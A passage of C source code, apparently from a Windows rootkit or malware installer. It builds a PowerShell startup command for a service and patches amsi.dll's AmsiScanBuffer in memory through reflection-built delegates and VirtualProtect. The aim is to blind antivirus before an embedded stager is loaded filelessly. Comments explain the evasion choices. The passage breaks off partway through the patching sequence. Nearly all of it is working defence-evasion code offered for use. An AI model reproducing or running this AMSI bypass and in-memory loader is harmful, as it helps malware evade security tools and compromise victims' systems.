| 33 | } |
| 34 | |
| 35 | LPWSTR GetStartupCommand() |
| 36 | { |
| 37 | // Powershell inline command to be invoked using powershell.exe "..." |
| 38 | |
| 39 | PWCHAR command = NEW_ARRAY(WCHAR, 16384); |
| 40 | |
| 41 | // A Windows Service does not start when using powershell.exe directly, but cmd.exe wrapping powershell.exe works. |
| 42 | StrCpyW(command, L"cmd.exe /c \"powershell.exe -Command \"\""); |
| 43 | |
| 44 | // AMSI bypass: |
| 45 | // [Reflection.Assembly]::Load triggers AMSI and the byte[] with Stager.exe is passed to AV for analysis. |
| 46 | // AMSI must be disabled for the entire process, because both powershell and .NET itself implement AMSI. |
| 47 | |
| 48 | // AMSI is only supported on Windows 10; AMSI bypass not required for Windows 7. |
| 49 | if (IsAtLeastWindows10()) |
| 50 | { |
| 51 | // Patch amsi.dll!AmsiScanBuffer prior to [Reflection.Assembly]::Load. |
| 52 | // Do not use Add-Type, because it will invoke csc.exe and compile a C# DLL to disk. |
| 53 | StrCatW( |
| 54 | command, |
| 55 | // Function to create a Delegate from an IntPtr |
| 56 | L"function Local:Get-Delegate{" |
| 57 | L"Param(" |
| 58 | L"[OutputType([Type])]" |
| 59 | L"[Parameter(Position=0)][Type[]]$ParameterTypes," |
| 60 | L"[Parameter(Position=1)][Type]$ReturnType" |
| 61 | L")" |
| 62 | L"$TypeBuilder=[AppDomain]::CurrentDomain" |
| 63 | L".DefineDynamicAssembly((New-Object Reflection.AssemblyName(`ReflectedDelegate`)),[Reflection.Emit.AssemblyBuilderAccess]::Run)" |
| 64 | L".DefineDynamicModule(`InMemoryModule`,$False)" |
| 65 | L".DefineType(`MyDelegateType`,`Class,Public,Sealed,AnsiClass,AutoClass`,[MulticastDelegate]);" |
| 66 | L"$TypeBuilder.DefineConstructor(`RTSpecialName,HideBySig,Public`,[Reflection.CallingConventions]::Standard,$ParameterTypes).SetImplementationFlags(`Runtime,Managed`);" |
| 67 | L"$TypeBuilder.DefineMethod(`Invoke`,`Public,HideBySig,NewSlot,Virtual`,$ReturnType,$ParameterTypes).SetImplementationFlags(`Runtime,Managed`);" |
| 68 | L"Write-Output $TypeBuilder.CreateType();" |
| 69 | L"}" |
| 70 | |
| 71 | // Use Microsoft.Win32.UnsafeNativeMethods for some DllImport's. |
| 72 | L"$NativeMethods=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals(`System.dll`)})" |
| 73 | L".GetType(`Microsoft.Win32.UnsafeNativeMethods`);" |
| 74 | L"$GetProcAddress=$NativeMethods.GetMethod(`GetProcAddress`,[Reflection.BindingFlags](`Public,Static`),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);" |
| 75 | |
| 76 | // Create delegate types |
| 77 | L"$LoadLibraryDelegate=Get-Delegate @([String])([IntPtr]);" |
| 78 | L"$VirtualProtectDelegate=Get-Delegate @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);" |
| 79 | |
| 80 | // Get DLL and function pointers |
| 81 | L"$Kernel32Ptr=$NativeMethods.GetMethod(`GetModuleHandle`).Invoke($Null,@([Object](`kernel32.dll`)));" |
| 82 | L"$LoadLibraryPtr=$GetProcAddress.Invoke($Null,@([Object]$Kernel32Ptr,[Object](`LoadLibraryA`)));" |
| 83 | L"$VirtualProtectPtr=$GetProcAddress.Invoke($Null,@([Object]$Kernel32Ptr,[Object](`VirtualProtect`)));" |
| 84 | L"$AmsiPtr=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryPtr,$LoadLibraryDelegate).Invoke(`amsi.dll`);" |
| 85 | |
| 86 | // Get address of AmsiScanBuffer |
| 87 | L"$AmsiScanBufferPtr=$GetProcAddress.Invoke($Null,@([Object]$AmsiPtr,[Object](`AmsiScanBuffer`)));" |
| 88 | |
| 89 | // VirtualProtect PAGE_READWRITE |
| 90 | L"$OldProtect=0;" |
| 91 | L"[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBufferPtr,[uint32]8,4,[ref]$OldProtect);" |
| 92 | ); |
no test coverage detected